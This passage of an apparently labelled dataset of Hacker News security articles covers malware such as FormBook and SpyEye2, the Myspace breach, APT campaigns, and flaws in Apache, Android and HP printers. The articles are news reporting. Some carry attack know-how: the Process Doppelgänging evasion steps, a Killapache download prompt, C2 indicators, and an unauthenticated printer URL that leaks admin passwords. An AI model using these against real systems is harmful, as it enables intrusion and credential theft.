Lenovo embedded a tracking software program, called ""Lenovo Customer Feedback Program 64,"" categorized as Spyware, into its laptops and workstations that operate daily on these systems.

For more details on What this software does?, and How to Remove this software, Read more…

12.China developed a Linux OS that totally Looks Like Windows XP

Yes, China has created its own Desktop Operating System, dubbed ""NeoKylin"", tagged as a substitute to Windows XP by Quartz, who got an opportunity to have a hands-on experience of its 'community version' OS.

NeoKylin is developed by Shanghai-based China Standard Software Company, and the operating system is already running on more than 40 percent of commercial units sold in the country by Dell.

How NeoKylin looks like and similar is NeoKylin to Windows XP, Read more…

13. The World's First $9 Computer has Started Shipping
C.H.I.P. – Computer Hardware in Products – a $9 Linux-based, super-cheap computer has started shipping.

Dave Rauchwerk, CEO of Next Thing Co., said that the first run of CHIP computers is beginning to be distributed to early backers within few days.

For specifications and capabilities of C.H.I.P., Read more…

14. North America Runs Completely Out of IPv4 Internet Addresses

The American Registry for Internet Numbers (ARIN) announced the final exhaustion of their free pool of IPv4 (Internet Protocol version 4) addresses.

The free pool of IPv4 addresses has reached zero, i.e., the availability of IPv4 addresses no more exists.

This is just the start of an era of IPv6, which was first invented in about two decades ago, and features much longer addresses (e.g. FE80:0000:0000:0000:0202:B3FF:FE1E:8329).

This simply means that IPv6 (Internet Protocol version 6) could offer a total available pool of 340 Trillion Trillion Trillion addresses, providing capacity for a very long time. Read more…

",Malware
Thousands of websites defaced after Belgium and Netherland domain registrars hacked,https://thehackernews.com/2013/07/thousands-of-websites-defaced-after.html,"On Tuesday, The Foundation for Internet Domain Registration (.NL) in the Netherlands (SIDN) was compromised and some malicious files were uploaded to their server by hackers.

According to a blog post, SQL injection vulnerability was used to compromise one of the website (25jaarvan.nl) on same server initially, that allows hacker to temporarily access to the domain name registration system.

""The DRS web application was shut down and zone file publication was temporarily suspended."", company said. ""As a result of our precautionary action, some areas of the website that registrars use to download registrarship-related data have been unavailable since Tuesday evening.""

In another cyber attack on Tuesday, several Belgium websites was also got defaced by another group of hackers. Domain Registrar behind Belgium i.e DNS.be was compromised by attackers.

The hackers were able to infiltrate and modify a DNS server, pointing all of the websites to a single website displaying the deface message.

""user data or the registration platform had not been compromised"", DNS.be said in a statement. ""We immediately deleted the deface files and we took the necessary precautions to block further malicious access to the website.""

",Vulnerability
FormBook—Cheap Password Stealing Malware Used In Targeted Attacks,https://thehackernews.com/2017/10/formbook-password-stealer.html,"It seems sophisticated hackers have changed the way they conduct targeted cyber operations—instead of investing in zero-days and developing their malware; some hacking groups have now started using ready-made malware just like script kiddies.

Possibly, this could be a smart move for state-sponsored hackers to avoid being attributed easily.

Security researchers from multiple security firms, including Arbor Networks and FireEye, independently discovered a series of malware campaigns primarily targeting aerospace, defence contractors and manufacturing sectors in various countries, including the United States, Thailand, South Korea and India.

What's common? All these attack campaigns, conducted by various hacking groups, eventually install same information and password stealer malware—dubbed FormBook—on the targeted systems.

FormBook is nothing but a ""malware-as-as-service,"" which is an affordable piece of data-stealing and form-grabbing malware that has been advertised in various hacking forums since early 2016.

Anyone can rent FormBook for just $29 per week or $59 per month, which offers a range of advanced spying capabilities on target machines, including a keylogger, password stealer, network sniffer, taking the screenshots, web form data stealer and more.

According to the researchers, attackers in each campaign are primarily using emails to distribute the FormBook malware as an attachment in different forms, including PDFs with malicious download links, DOC and XLS files with malicious macros, and archive files (ZIP, RAR, ACE, and ISOs) containing EXE payloads.

Once installed on a target system, the malware injects itself into various processes and starts capturing keystrokes and extracts stored passwords and other sensitive data from multiple applications, including Google Chrome, Firefox, Skype, Safari, Vivaldi, Q-360, Microsoft Outlook, Mozilla Thunderbird, 3D-FTP, FileZilla and WinSCP.

FormBook continuously sends all the stolen data to a remote command and control (C2) server which also allows the attacker to execute other commands on the targeted system, including start processes, shutdown and reboot the system, and stealing cookies.

""One of the malware's most interesting features is that it reads Windows' ntdll.dll module from disk into memory, and calls its exported functions directly, rendering user-mode hooking and API monitoring mechanisms ineffective,"" FireEye says.

""The malware author calls this technique ""Lagos Island method"" (allegedly originating from a userland rootkit with this name).""

According to the researchers, FormBook was also seen downloading other malware families such as NanoCore in the last few weeks.

The attackers can even use the data successfully harvested by FormBook for further cybercriminal activities including, identity theft, continued phishing operations, bank fraud and extortion.

FormBook is neither sophisticated, nor difficult-to-detect malware, so the best way to protect yourself from this malware is to keep good antivirus software on your systems, and always keep it up-to-date.

",Malware
Latest Internet Explorer zero-day linked to Elderwood Project,https://thehackernews.com/2013/01/latest-internet-explorer-zero-day.html,"Last week we have seen ongoing attacks was exploiting a vulnerability in Internet Explorer 6, Internet Explorer 7, and Internet Explorer 8 that came to light after the Council on Foreign Relations website was hacked and was hosting the code. Symantec has linked exploits to the group responsible for a spate of recent espionage attacks Dubbed the ""Elderwood Project"".

In May 2012, Amnesty International's Hong Kong website was compromised & used to serve up a malicious SWF file that exploited CVE-2012-1875, a vulnerability affecting Internet Explorer. A few months later in Sep 2012, the same group behind that attack was responsible for using another IE zero-day CVE-2012-4969.

Microsoft issued a temporary Fix-it patch for the vulnerability but now researchers are claiming that they have bypassed the patch and were able to compromise a fully patched system. Name comes from a source code variable used by the attackers. In the past, the group has used a mix of spear-phishing emails and watering hole attacks to infect vulnerable systems and has a lengthy history of using zero-day bugs as part of their attacks.

The group, believed to be based in China, has targeted U.S. defense contractors and their partners in the supply chain, including manufacturers of mechanical components. The latest zero-day was used as part of a so-called ""watering hole"" attack against the website for the policy think tank Council on Foreign Relations, the influential membership group that helps shape U.S. foreign policy.

Microsoft is working on a full patch for the flaw, which, unfortunately, will not make it in time for next week's Patch Tuesday monthly round of Microsoft updates.

",Vulnerability
427 Million Myspace Passwords leaked in major Security Breach,https://thehackernews.com/2016/06/myspace-passwords-leaked.html,"MySpace has suffered a major data breach in which hundreds of Millions of users have had their account details compromised.

You may have forgotten Myspace and have not thought of it in years after Facebook acquired the market, but Myspace was once-popular social media website.

On Tuesday, Myspace confirmed that the company was hacked in 2013 and that the stolen Myspace username and password combinations have been made available for sale in an online hacker forum.

The hacker, nicknamed Peace, who is selling the database of about 360 Million Myspace accounts with 427 million passwords, is the same hacker who was recently in the news for leaking 164 Million LinkedIn and 65 Million Tumblr accounts.
""We believe the data breach is attributed to Russian Cyberhacker 'Peace',"" Myspace wrote in a blog post. ""Email addresses, Myspace usernames, and Myspace passwords for the affected Myspace accounts created prior to June 11, 2013 on the old Myspace platform are at risk.""
The data breach in Myspace is believed to be the largest leaks of passwords ever and even if you have not visited Myspace in years, your personal information is up for sale online.

Like LinkedIn, the stolen Myspace passwords were also stored in SHA1 with no ""salting."" Salting is a process that makes passwords much harder to crack.

Myspace said it has taken ""significant steps"" to strengthen its users' account security since the data breach in 2013 and now the company uses double-salted hashes to store passwords.

I strongly advise users who tend to reuse the same passwords between sites to set new passwords on those websites immediately.

",Data_Breaches
Process Doppelgänging: New Malware Evasion Technique Works On All Windows Versions,https://thehackernews.com/2017/12/malware-process-doppelganging.html,"A team of security researchers has discovered a new malware evasion technique that could help malware authors defeat most of the modern antivirus solutions and forensic tools.

Dubbed Process Doppelgänging, the new fileless code injection technique takes advantage of a built-in Windows function and an undocumented implementation of Windows process loader.

Ensilo security researchers Tal Liberman and Eugene Kogan, who discovered the Process Doppelgänging attack, presented their findings today at Black Hat 2017 Security conference held in London.

Process Doppelgänging Works on All Windows Versions

Apparently, Process Doppelgänging attack works on all modern versions of Microsoft Windows operating system, starting from Windows Vista to the latest version of Windows 10.

Tal Liberman, the head of the research team at enSilo, told The Hacker New that this malware evasion technique is similar to Process Hollowing—a method first introduced years ago by attackers to defeat the mitigation capabilities of security products.

In Process Hollowing attack, hackers replace the memory of a legitimate process with a malicious code so that the second code runs instead of the original, tricking process monitoring tools and antivirus into believing that the original process is running.

Since all modern antivirus and security products have been upgraded to detect Process Hollowing attacks, use of this technique is not a great idea anymore.

On the other hand, Process Doppelgänging is an entirely different approach to achieve the same, by abusing Windows NTFS Transactions and an outdated implementation of Windows process loader, which was originally designed for Windows XP, but carried throughout all later versions of Windows.

Here's How the Process Doppelgänging Attack Works:

Before going further on how this new code injection attack works, you need to understand what Windows NTFS Transaction is and how an attacker could leverage it to evade his malicious actions.

NTFS Transaction is a feature of Windows that brings the concept of atomic transactions to the NTFS file system, allowing files and directories to be created, modified, renamed, and deleted atomically.

NTFS Transaction is an isolated space that allows Windows application developers to write file-output routines that are guaranteed to either succeed completely or fail completely.

According to the researcher, Process Doppelgänging is a fileless attack and works in four major steps as mentioned below:

Transact—process a legitimate executable into the NTFS transaction and then overwrite it with a malicious file.
Load—create a memory section from the modified (malicious) file.
Rollback—rollback the transaction (deliberately failing the transaction), resulting in the removal of all the changes in the legitimate executable in a way they never existed.
Animate—bring the doppelganger to life. Use the older implementation of Windows process loader to create a process with the previously created memory section (in step 2), which is actually malicious and never saved to disk, ""making it invisible to most recording tools such as modern EDRs.""

Process Doppelgänging Evades Detection from Most Antiviruses
Liberman told The Hacker News that during their research they tested their attack on security products from Windows Defender, Kaspersky Labs, ESET NOD32, Symantec, Trend Micro, Avast, McAfee, AVG, Panda, and even advance forensic tools.

In order to demonstrate, the researchers used Mimikatz, a post-exploitation tool that helps extract credentials from the affected systems, with Process Doppelgänging to bypass antivirus detection.

When the researchers ran Mimikatz generally on a Windows operating system, Symantec antivirus solution caught the tool immediately, as shown below:
However, Mimikatz ran stealthy, without antivirus displaying any warning when executed using Process Doppelgänging, as shown in the image at top of this article.

Liberman also told us that Process Doppelgänging works on even the latest version of Windows 10, except Windows 10 Redstone and Fall Creators Update, released earlier this year.

But due to a different bug in Windows 10 Redstone and Fall Creators Update, using Process Doppelgänging causes BSOD (blue screen of death), which crashes users' computers.

Ironically, the crash bug was patched by Microsoft in later updates, allowing Process Doppelgänging to run on the latest versions of Windows 10.

I don't expect Microsoft to rush for an emergency patch that could make some software relying on older implementations unstable, but Antivirus companies can upgrade their products to detect malicious programs using Process Doppelgänging or similar attacks.

This is not the very first time when enSilo researchers have discovered a malware evasion technique. Previously they discovered and demonstrated AtomBombing technique which also abused a designing weakness in Windows OS.

In September, enSilo researchers also disclosed a 17-year-old programming error in Microsoft Windows kernel that prevented security software from detecting malware at runtime when loaded into system memory.

",Malware
How to Minimize Web Application Security Risk !,https://thehackernews.com/2012/10/how-to-minimize-web-application.html,"With Web applications remaining a popular target for attackers, Web app security sometimes seems like a digital version of the ""Good, the Bad and the Ugly."" Vulnerabilities in web applications are now the largest vector of enterprise security attacks.

Web application security is much more challenging than infrastructure. The top Web application vulnerabilities occur and re-occur time and again. Items such as Cross Site Scripting (XSS), SQL Injection (SQLi) and file inclusion are common vulnerabilities and show up frequently. In his view, the majority of Web application security problems can be solved by applying well known security technology approaches.

According to survey results, only 51 percent of organizations currently have coders conduct security testing, and only 40 percent of organizations report they test during development. Vulnerabilities like these fall often outside the traditional expertise of network security managers.

To help you understand how to minimize these risks, Qualys provides this guide ""Web Application Security; How to Minimize Prevalent Risk of Attacks"" as a primer to web application security.

The guide covers:
Typical web application vulnerabilities
Comparison of options for web application vulnerability detection
QualysGuard Web Application Scanning solution

Download Handbook !

",Cyber_Attack
Tilon/SpyEye2 Banking Trojan Usage Declining after SpyEye Author Arrest,https://thehackernews.com/2014/02/tilonspyeye2-banking-trojan-usage.html,"Today, when we come across various malware, exploit kits and botnets that are in the wild, we think about an effective Antivirus solution or a Security Patch, but the most effective solution is always ""The arrest of malware authors and culprits who are involved in the development of Malware.""

Tilon has been an active malware family that was spotted first time in 2012, was specially designed to filch money from online bank accounts, that earlier various researchers found to be the new version of Silon, is none other than the SpyEye2 banking Trojan, according to researchers at security firm Delft Fox-IT.

Tilon a.k.a SpyEye2 is the sophisticated version of SpyEye Trojan. Majority functional part of the malware is same as of the SpyEye banking Trojan that was developed by a 24-year-old Russian hacker 'Aleksandr Andreevich Panin' or also known as Gribodemon, who was arrested in July 2013.

'SpyEye', infected more than 1.4 million Computers worldwide since 2009, designed to steal people's identities and financial information, including online banking credentials, credit card information, user names, passwords and PINs. It secretly infects the victim's computer and gives the remote control to the cybercriminals who remotely access the infected computer through command and control servers and steal victims' personal and financial information through a variety of techniques, including web injects, keystroke loggers, and credit card grabbers without authorization.
Researchers have confirmed that, the team who had developed the SpyEye is the same who created Tilon, and that is why it was labeled as SpyEye2.
""The team behind its creation was similar, however, reinforced with at least one better skilled programmer,"" said the researchers, adding, ""The management of SpyEye2 is done through a single, unified interface, which has been completely redesigned but still contains a few of the unique features of the original SpyEye.""
An interesting part of SpyEye2, which the researchers found 'slightly funny', is that the malware check for the removal of the older version of SpyEye installed in the infected system and replace it with the new version, i.e. SpyEye2 with better stability features.

""No other malware families are checked for removal. Early versions of the original SpyEye were likewise equipped with a feature to remove older versions of ZeuS installed on the infected system,"" researchers say.
According to the researchers, ""only the Loader portion of Tilon is sourced from Silon, but this is where the similarity ends. As shown above and further illustrated in the Appendices, the body (i.e., functional portion) of Tilon was actually based on SpyEye.""
Also, another reason to consider Tilon as SpyEye's variant is its success, which was in the wild from 2012 to 2014, and suddenly seems to be over as the SpyEye author arrested last year.

Fox-IT researchers say, ""the arrests, like Gribodemon and other key figures in the underground economy, such as Paunch, the author of the popular Blackhole Exploit Kit, is the key to decreasing the worldwide activity around online crime.""

It doesn't mean that the malware won't circulate its fraudulent activity in the future, but will finally come to an end after nearly a year of declining usage.

",Malware
Researchers Uncover Cyber Espionage Operation Aimed At Indian Army,https://thehackernews.com/2020/09/cyberattack-indian-army.html,"Cybersecurity researchers uncovered fresh evidence of an ongoing cyberespionage campaign against Indian defense units and armed forces personnel at least since 2019 with an aim to steal sensitive information.
Dubbed ""Operation SideCopy"" by Indian cybersecurity firm Quick Heal, the attacks have been attributed to an advanced persistent threat (APT) group that has successfully managed to stay under the radar by ""copying"" the tactics of other threat actors such as the SideWinder.
Exploiting Microsoft Equation Editor Flaw
The campaign's starting point is an email with an embedded malicious attachment — either in the form of a ZIP file containing an LNK file or a Microsoft Word document — that triggers an infection chain via a series of steps to download the final-stage payload.
Aside from identifying three different infection chains, what's notable is the fact that one of them exploited template injection and Microsoft Equation Editor flaw (CVE-2017-11882), a 20-year old memory corruption issue in Microsoft Office, which, when exploited successfully, let attackers execute remote code on a vulnerable machine even without user interaction.
Microsoft addressed the issue in a patch released in November 2017.
As is often the case with such malspam campaigns, the attack relies on a bit of social engineering to bait the user into opening a seemingly realistic Word document that claims to be about the Indian government's defense production policy.
What's more, the LNK files have a double extension (""Defence-Production-Policy-2020.docx.lnk"") and come with document icons, thereby tricking an unsuspecting victim into opening the file.
Once opened, the LNK files abuse ""mshta.exe"" to execute malicious HTA (short for Microsoft HTML Applications) files that are hosted on fraudulent websites, with the HTA files created using an open-sourced payload generation tool called CACTUSTORCH.
A Multi-stage Malware Delivery Process
The first stage HTA file includes a decoy document and a malicious .NET module that executes the said document and downloads a second-stage HTA file, which in turn checks for the presence of popular antivirus solutions before copying Microsoft's credential back and restore utility (""credwiz.exe"") to a different folder on the victim machine and modifying the registry to run the copied executable every time upon startup.
Consequently, when this file gets executed, not only does it side-load a malicious ""DUser.dll"" file, it also launches the RAT module ""winms.exe,"" both of which are obtained from the stage-2 HTA.
""This DUser.dll will initiate the connection over this IP address '173.212.224.110' over TCP port 6102,"" the researchers said.
""Once successfully connected, it will [...] then proceed for performing various operations based on the command received from C2. For example, if C2 sends 0, then it collects the Computer Name, Username, OS version etc. and sends it back to C2.""
Stating the RAT shared code-level similarities with Allakore Remote, an open-sourced remote-access software written in Delphi, Quick Heal's Seqrite team noted that the Trojan employed Allakore's RFB (remote frame buffer) protocol to exfiltrate data from the infected system.
Possible Links to Transparent Tribe APT
In addition, a few attack chains are also said to have dropped a previously unseen .NET-based RAT (called ""Crimson RAT"" by Kaspersky researchers) that comes equipped with a wide range of capabilities, including access files, clipboard data, kill processes, and even execute arbitrary commands.
Although the modus operandi of naming DLL files shares similarities with the SideWinder group, the APT's heavy reliance on the open-sourced toolset and an entirely different C2 infrastructure led the researchers to conclude with reasonable confidence that the threat actor is of Pakistani origin — specifically the Transparent Tribe group, which has been recently linked to several attacks targeting the Indian military and government personnel.
""Thus, we suspect that the actor behind this operation is a sub-division under (or part of) Transparent-Tribe APT group and are just copying TTPs of other threat actors to mislead the security community,"" Quick Heal said.

",Cyber_Attack
Android 4.3 and Earlier versions Vulnerable to Critical Code-Execution Flaw,https://thehackernews.com/2014/06/android-43-and-earlier-versions.html,"A critical code-execution vulnerability almost affecting everyone those are not running the most updated version of Google Android, i.e. Android version 4.4 also known as KitKat.

After nine months of vulnerability disclosure to the Android security team, researchers of the Application Security team at IBM have finally revealed all the possible details of a serious code-execution vulnerability that still affects the Android devices running versions 4.3 and earlier, which could allow attackers to exfiltrate sensitive information from the vulnerable devices.
""Considering Android's fragmented nature and the fact that this was a code-execution vulnerability, we decided to wait a bit with the public disclosure,"" said Roee Hay, a security research group leader at IBM.
The researchers found the stack buffer overflow vulnerability that resides in the Android's KeyStore storage service, which according to the Android developers' website is the service code running in Android responsible for storing and securing device's cryptographic keys.

CAUSE OF THE CRITICAL FLAW
According to the researchers, the vulnerability occurred due the absent bounds check for a stack buffer created by the ""KeyStore::getKeyForName"" method.

""This function has several callers, which are accessible by external applications using the Binder interface (e.g., 'android::KeyStoreProxy::get'). Therefore, the 'keyName' variable can be controllable with an arbitrary size by a malicious application,"" Hay said. ""The 'encode_key' routine that is called by 'encode_key_for_uid' can overflow the 'filename' buffer, since bounds checking is absent.""

ANDROID VULNERABILITY IMPACT
While IBM's researchers haven't seen this vulnerability being exploited in the wild yet. But if successfully exploited, would compromise a device completely allowing an attacker to execute malicious code of their choice under the keystore process.

Consequently, the attacker could gain access to the device's sensitive information such as device's lock-screen credentials, encrypted and decrypted master keys, data and hardware-backed key identifiers from the memory, as well as the ability to carry out cryptographic operations such as arbitrary signing of data on behalf of the users.

ATTACK VECTOR
While this could be accomplished only with the use of a malicious application, but there are a number of obstacles for the working exploit to overcome.

That means, a malicious application must have ability to bypass memory-based protections native to the operating system including Data Execution Prevention (DEP) and Address Space Layout Randomization (ASLR).

DEP is an exploit mitigation that limits where code can be executed and helps prevent certain malicious exploits, but the attackers have had success using shellcode or Return Oriented Programming (ROP) attacks in order to bypass DEP.
While, ASLR specifically reduces buffer overflow attacks that exploit vulnerabilities like the one elaborated in this article. ASLR randomizes the memory locations used by system files and other programs, making it much harder for an attacker to correctly guess the location of a given process.

An attacker would also need to overcome the stack canaries present in Android, which is used to detect stack buffer overflow bugs such as this one before execution of malicious code can occur. Moreover, Android also makes use of encoding, which is also an obstacle for the attacker to overcome.
""However, the Android KeyStore is respawned every time it terminates,"" Hay cautions. ""This behavior enables a probabilistic approach; moreover, the attacker may even theoretically abuse ASLR to defeat the encoding.""
LATEST UPDATE - ANDROID 4.4.4
Currently Google is rolling out Android KitKat 4.4.4 with build number KTU84P (branch kitkat-mr2.1-release) to several Nexus devices, including Nexus 4, 5, 7, and 10. Latest update primarily addresses the OpenSSL CCS Injection Vulnerability (CVE-2014-0224), which was discovered in OpenSSL after the Heartbleed bug was uncovered.

So if you haven't updated your OS, this might be a good time to do it. Users can check to see if the update is available for their device by accessing Settings > About Phone > System Updates.

",Vulnerability
Killapache: DDOS tool - Half of the Internet is vulnerable now !,https://thehackernews.com/2011/08/killapache-ddos-tool-half-of-internet.html,"Killapache: DDOS tool - Half of the Internet is vulnerable now !

The Apache Software Foundation has announced a denial-of-service vulnerability that affects all versions of the ubiquitous Apache web server, leaving up to 65% of all websites vulnerable. A unknown flaw in the code for processing byte range headers allows versions 2.2.x of the Apache Web Server to be crippled from a single PC. A suitable ""Apache Killer"" Perl script that impressively demonstrates the problem.

How does killapache DDOS tool work?
killapache sends GET requests with multiple ""byte ranges"" that will claim large portions of the system's memory space. A ""byte range"" statement allows a browser to only load certain parts of a document, for example bytes 500 to 1000. It is normally used while downloading large files. This method is used by programs such as download clients to resume downloads that have been interrupted; it is designed to reduce bandwidth requirements. However, it appears that stating multiple unsorted components in the header can cause an Apache server to malfunction.

There is no patch yet released for this vulnerability on apache, but a few work arounds have been found. These have been posted by The Apache Software Foundation and can be used until a stable fix is released.The vulnerability works by exploiting a feature in web servers that gives you the ability to pause and resume your downloads. These days if you have to stop downloading something part-way through you can generally pick up where you left off and you don't have to start again from scratch.
Download killapache

",Vulnerability
"Hacker threatens to sell data of 3.7 Million Israeli Bank Customers, demands extortion money in Bitcoin",https://thehackernews.com/2013/12/hacker-Israeli-Bank-botnet-malware-extortion-bitcoin.html,"Data breaches and security incidents are a constant in the headlines these days. Hackers and cyber criminals are motivated by status or money and finding new innovative and more creative attacks to achieve this.

One of them are, Digital Bank robbery - where the thieves didn't need masks and guns to pull off the job, all they need are - Hacking Skills, a computer and the Internet. Another way is Cyber extortion - threat of attack against an enterprise or a bank, coupled with a demand for money to avert or stop the attack.
According to Haaretz news, A Hacker - who is the operator of a biggest botnet malware network in the Israel, has threatens 3 major Israeli banks, i.e. Israel Discount Bank, Bank Yahav and the First International Bank of Israel.
""Bank received an e-mail message threatening that unless they handed over a certain sum in Bitcoins by the end of next week, a list of customers' details would be given to hostile elements.""
Banks database, network and websites were not breached in this case, rather the hacker claimed that he holds a huge financial trojan botnet network in Israel that have already infected millions of systems across the nation and collected a massive dump of stolen personal information, passwords, banking information and credit card numbers of 3.7 Million users.

The hacker has demanded the payoff in Bitcoin, a untraceable virtual currency, perfect for blackmailers and cyber criminals. Bitcoin is not backed by any central bank or government and can be transferred ""peer to peer"" between any two people anywhere.

Banks declined to comment on the report and immediately reported the threat to the Israel Police. According to the source, some of them do not see the threat as serious. Bank of Israel held a meeting on Tuesday on the issue, we will update you soon about their next step with a new article.

Cyber attacks are becoming more and more advanced and sophisticated, more or less any company in the world is on the list of targets to rob. You should keep updating your knowledge about the cyber world to Stay Safe from all threats.

",Malware
"Warning — Facebook Color Changer App is Just a Scam, Infects 10000 Users",https://thehackernews.com/2014/08/warning-facebook-color-changer-app-is_9.html,"Scammers have again targeted more than one billion active users of the popular social networking giant Facebook, to infect as many victims as possible.

This time, an old Facebook scam is back in action once again!

Malicious Facebook ""Color Changer"" app has resurfaced again on the popular social networking site Facebook, this time compromising more than 10,000 people worldwide.

The malicious app promises users to change the characteristic blue colour of Facebook's header and interface to one of nine other colours including pink, purple, green, yellow, orange and black, in order to infect users' phones and computers with malicious software.

Researchers at China-based Internet company Cheetah Mobile have detected the ""Facebook colour changer"" that tricks Facebook users into downloading the app via a malicious phishing site.

The phishing website targets users in two ways:
First of all, it steals the users' Facebook Access Tokens by asking them to view a color changer tutorial video,which allows hacker to connect to the victim's Facebook friends.
If the user doesn't watch the video, the site then tries to get them to download the malicious color changer application, in order to infect their systems with malware.
However, PC users are lead to a bogus site to download a pornographic video player, and Android device users are issued a warning saying their device has been infected and advised to download a suggested application.
According to the researchers at Cheetah Mobile, the problem stems from ""a vulnerability that lives in Facebook's app page itself, allowing hackers to implant viruses and malicious code into Facebook-based applications that directs users to phishing sites.""
The new color changer app has affected Facebook users in several countries but this is not the very first time it has happened before, according to Cheetah Mobile's security researchers.

Facebook has become Number 1 social networking website with more than one billion active users this year. Hundreds of people join the social networking website everyday. On the other hand, with the increase in popularity, Facebook also serves as a great and useful platform for scammers and falling victim to such scams is very simple.

So here's what you can do in order to protect yourself from this threat. Follow these steps:
Realize there's no way to customize your Facebook with an app
Do not click any link which suggests otherwise
Even if the link suggests it's heading toward an Official Facebook Page - DO NOT TRUST IT
But, for those who have already installed the app should uninstall the app straight away and change their Facebook account password. To prevent further problems we suggest you to completely turn off Facebook's apps platform, and install a trusted security application to your devices.

Remember, there is absolutely no friendly way to change the color of your Facebook. You can only customize your Facebook account or page by adding any of your other profile photo and a different header image through your normal Facebook settings - That's it!

",Malware
Microsoft Says Russian Hackers Using Unpatched Windows Bug Disclosed by Google,https://thehackernews.com/2016/11/windows-zeroday-exploit.html,"Google's Threat Analysis Group publically disclosed on Monday a critical zero-day vulnerability in most versions of Windows just 10 days after privately disclosed both zero days to Microsoft and Adobe.

While Adobe rushed an emergency patch for its Flash Player software on October 26, Microsoft had yet to release a fix.

Microsoft criticized Google's move, saying that the public disclosure of the vulnerability — which is being exploited in the wild — before the company had time to prepare a fix, puts Windows users at ""potential risk.""

The result? Windows Vista through current versions of Windows 10 is still vulnerable, and now everybody knows about the critical vulnerability.

Now, Microsoft said that the company would be releasing a patch for the zero-day flaw on 8th November, as part of its regular round of monthly security updates.

Russian Hackers are actively exploiting critical Windows kernel bug

Microsoft acknowledged the vulnerability in a blog post on Tuesday, in which the company said that the Windows kernel bug was being actively exploited by a well-known sophisticated hacking group previously linked to the Russian government.

Terry Myerson, executive vice president of Microsoft's Windows and Devices group, said the flaw was being exploited on a ""low-volume scale"" by Strontium group, also known as Fancy Bear, Sofacy, and APT 28, in targeted attacks.

Fancy Bear is the same hacking group which has also been accused by the United States Intelligence community of hacking the US Democratic National Committee, Clinton Campaign Chair John Podesta, and former Secretary of State Colin Powell, among others.

Myerson noted that Fancy Bear abusing the Google-reported flaw had been sending spear-phishing emails in order to trick recipients into clicking on malicious links or opening bogus attachments, which end them up installing malware on their machines or disclosing their personal information.

The vulnerability (CVE-2016-7855) is a local privilege escalation bug exists in the Windows operating system kernel, which can be exploited by malware to gain admin access on any Windows system.

Once exploited, the flaw can be used to escape the sandbox protection and execute malicious code on the compromised Windows machine.

Wait another Week for Windows zero-day patch

Microsoft encouraged its customers to upgrade to Windows 10, as the Edge browser on Windows 10 Anniversary Update is not affected by the Windows kernel flaw.

Microsoft engineers are working on a Windows patch, but in the meantime, there is little you can do in order to protect yourself from this attack observed in the wild.
""We have coordinated with Google and Adobe to investigate this malicious campaign and to create a patch for down-level versions of Windows,"" Myerson said. ""Along these lines, patches for all versions of Windows are now being tested by many industry participants, and we plan to release them publicly on the next Update Tuesday, Nov 8.""
For now, you are advised to update Chrome and Adobe Flash, or remove it completely, and until Microsoft issues a fix, be careful what software you download, what websites you visit, and particularly what email links you click.

For more details about the critical vulnerability, you can head on to read Microsoft's official blog post.

",Vulnerability
"Malicious Advertisements Found on Java.com, Other High-Profile Sites",https://thehackernews.com/2014/08/malicious-advertisement-found-on_29.html,"A New York-based online ad network company AppNexus, that provides a platform specializing in real-time online advertising, has again been spotted as the origin of a recent ""malvertising"" campaign that makes use of the Angler Exploit Kit to redirect visitors to malicious websites hosting the Asprox malware.

AppNexus servers process 16 billion ad buys per day, making it the biggest reach on the open web after Google. Back in May, AppNexus was serving malicious ads targeting Microsoft's Silverlight platform. The world's largest Internet Video Subscription service Netflix runs on Silverlight, and because of its popularity, hackers have been loading exploit kits with Silverlight.

As part of this campaign, users of several high-profile websites including Java.com, Deviantart.com, TMZ.com, Photobucket.com, IBTimes.com, eBay.ie, Kapaza.be and TVgids.nl, last week were redirected to websites serving malicious advertisements that infected visitors by installing botnet malware on their computer, said security company Fox-IT.

""These websites have not been compromised themselves, but are the victim of malvertising. This means an advertisement provider, providing its services to a small part of a website, serves malicious advertisement aimed at infecting visitors with malware,"" researchers at Fox-IT said in a blog post.

Angler exploit kits are available on the underground black forums and are used in various malicious campaigns to own websites and redirect users off to websites hosting banking malware and other types of malicious code in order to victimize them.
""Please note, a visitor does not need to click on the malicious advertisements in order to get infected. This all happens silently in the background as the ad is loaded by the user's browser,"" researchers warned.
According to the Researchers, Angler first checks whether the victim's browser supports an outdated versions of Java, Adobe Flash Player or Microsoft Silverlight, and then silently install a variant of the Asprox botnet malware.

Asprox is generally a spam botnet that was involved in multiple high-profile attacks on various websites in order to spread malware. The malware recently has been modified for click-fraud and cyber criminals are using it to spread malware through email attachments with exploit kits. It also has other malicious functionality including scanning websites for vulnerabilities and stealing log-in credentials stored on computers.
""Asprox has gone through many changes and modifications which includes spam modules, website scanning modules and even credential stealing modules,"" Fox-IT said. ""This history and current events show Asprox is still actively being developed and used.""
Once visited on a site hosting the malicious ad, users are redirected in the background to ads[.]femmotion[.]com, which then redirects to the exploit kit on a number of other domains, the gloriousdead[.]com and taggingapp[.]com.
""All the exploit kit hosts were observed using port 37702. Running exploit kits on high ports at best prevents certain network tools from logging the HTTP connections, as these are typically configured to monitor only HTTP ports,"" Fox-IT said. ""It does mean this exploit kit is blocked on a lot of corporate networks as they do not allow for browsing outside the normal HTTP ports, port 80 (or proxy ports) and 443 for SSL.""
In order to show targeted advertisements to users, advertisers engage in an automatic, real-time bidding process, which makes malicious advertisements more difficult to track. ""In the case of this malvertising campaign the malicious advertisers were the highest bidders,"" Fox-IT says.

Hackers used a method called ""retargeting"", which is actually used by Digital Advertising agencies to rotate the ads shown to the same visitor when they access a specific page multiple times.
""The way it works is that a user with an interesting set of tracking cookies and other metadata for a certain adprovider is retargetted from the original advertisement content on the website to the modified or personalized data,"" Fox-IT researchers said. ""We have seen examples where the website that helped with the ad redirect to infect a user had no idea it was helping the delivery of certain content for a certain ad provider.""

",Malware
HP LaserJet Pro Printers remotely exploitable to gain unauthorized access to Wi-Fi and Printer Data,https://thehackernews.com/2013/08/hacking-HP-printers-Vulnerability-wifi-password.html,"Do you own an HP printer? If so, it may be vulnerable to Hackers. Multiple HP LaserJet Pro Printers are printer vulnerable to hackers according to a new advisory posted by the vendor, dubbed as CVE-2013-4807 (SSRT101181).

Researcher 'Micha Sajdak' of Securitum.pl have found a security hole HP LaserJet printers that allows a remote hacker to extract the admin password in plain text, among other information like WiFi settings including the WPS PIN.
The main issue is with some of the networked HP LaserJet printers, having hidden URLs hardcoded in the firmware, which can be accessed without authentication. The vulnerability could be exploited remotely to gain unauthorized access to data.

For example : https://IP_ADDRESS/dev/save_restore.xml

Where the password seems to be encrypted, but the value contains a hex representation of the admin password in plain text, i.e. 0x746573746f7765 = testowe.

Also, If a printer is WiFi enabled, then the WiFi info can be extracted from using below url:
